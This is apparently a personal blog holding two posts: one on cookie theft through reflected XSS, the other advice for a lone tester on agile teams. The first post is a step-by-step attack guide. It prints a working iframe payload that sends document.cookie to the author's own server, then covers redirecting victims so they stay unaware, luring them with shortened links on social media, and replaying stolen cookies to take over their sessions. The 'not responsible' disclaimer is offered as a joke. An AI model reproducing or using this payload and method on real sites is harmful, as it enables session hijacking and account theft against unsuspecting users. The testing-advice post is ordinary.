Steal that cookie !

Well, my obsession with web security continues…

Most of the web sites rely on sessions stored in cookies to identify and authenticate users. And most of the sites are vulnerable to all sorts of injections.

Thats where all the fun is.

Here is a POC of cookie theft and session hijacking I tried on an e-commerce web site.

1. Find a way to inject some script or iFrame.

This particular site wasn't directly vulnerable to injections, but it would reflect the injected code back in the web page (Reflected XSS). When that page gets reloaded again, the injection will take place. I tried iFrame injection, it worked well.

Capture the URL that gets generated when payload (XSS string) is injected. This is what you'll pass along to the victims.

2. Steal that Cookie ! Pass along the cookie info to your web server.

There are multiple ways to do this. This is what I tried and it worked.

I stored a static page in my apache server. When I injected the iFrame, I would do some thing like this:

< iframe onload=document.location='http://my-web-server/mypage.html?p='+document.cookie / >

I have the apache logs which will log every request with the parameters. No need of making POST or GET calls though some sort of code ! (I loved that bit)


3. Redirect the victim user back to the site under attack test.

When loaded, it would redirect to the site under attack test, so that victim wouldn't be suspicious. As I mentioned simple document.location ='http://site-under-test' will do the trick.

4. Bit of social engineering, url shortening to get the victim click the link that has the XSS pay-load.

Twitter, Facebook, IMs are all out there to you help you :)

4. Hijack the session !

Extract the the SessionInfo from the logs. Replace the cookies with the victims cookies.
Hail the FSM and reload the site under attack test. Voila, you have logged in as the victim !


Few caveats :

Assumption is that victim is already logged in to the site under attack, and he/she clicks on a hyper link that injects the XSS.

This is a much better demonstration of XSS, cookie theft and session hijack than simple alert boxes.


PS: I am not responsible if you try this on public web sites and get arrested for cyber crime. In such cases, you do not know me, I do not know you :)

On being the only tester in TW teams

Well, I've been working as the only tester in the team for last 3 projects, almost 3 years.

Some learning / observation:

Initial impression of 'oh my goodness, there is so much to do!' is actually true. I had to get involved in quite a many things. And all those tasks are important in their own way. It is definitely not easy.

Key takeaway is reducing re-work and increasing efficiency.

Ask for help ! [increases efficiency]

Asking for help from other team members really helped. Be it automation of tests, bug triage, setting up environments or clearing of backlogs. Just had to make sure I don't delegate a task completely with out getting involved, in that case I'll be more of a pain than productive.

Be assertive: [increases efficiency]

Shout out when dev practices get sloppier or if there is constant increase in number of bugs. Helping the team figure out the root cause will make the next iteration much better.

Spend more time in developer box testing [reduces re-work]

This one practice can reduce so much of re-work ! Testing is nothing but giving feedback. Faster, the better. If possible, make 'Dev box testing' part of the story life-cycle. Thus, it will become a routine and leads to less re-work.

Get involved in analysis. [reduces re-work]

Again, helps in reducing re-work. Story kick-off are good too. More questions I asked at this stage, more easy it became while testing.

Less documentation: [increases efficiency]

There is a difference between less documentation and no documentation. Does this bug need to go to Mingle ? Does it make sense to list all the test cases for this log-in story ? What if I win a lottery and decide to leave? If I go on leave for another 2 months can some one else pick up from where I left and so on and so forth. It helps to ask the team (includes clients as well ) about what they expect /need from testing documentation POV.

Think beyond just story testing: [increases efficiency]

There are other areas of testing that I had to worry about: Performance, security, analysis, client interaction, environments … the list goes on. Interestingly this didn't become a pain. But it definitely is more time consuming and exhausting if I don't plan little ahead or ask for help.

Managing time: [increases efficiency]

This is tricky. Its easy to get overwhelmed by the pressure and just give up. There are few tasks which need much longer span of attention than others. Example: Test automation. I would declare "I am in 'Automation' mode" in stand up , and let every one know that I may not be able to help with other tasks. I usually keep these single task mode stretch for one or two days in an iteration.

Another way to manage time is to combine few tasks together. A rough example is : I'll keep my sql profiler running while I test a story for it's functionality. A quick scan through the DB logs helps to identify any quirky behavior. Like wise, I'll let perfmon run while I run my routine automated tests. The performance graph would later help to identify any leaks and such.


Finally, communicate. As often as possible. My habit is literally shouting at the table about the new info or an interesting bug. Identify risks / bad trends early and communicate. Easier said than done though.

Also a couple of hours of 'Do Not Disturb Me' mode of working helps, a lot. Communicate that too :-)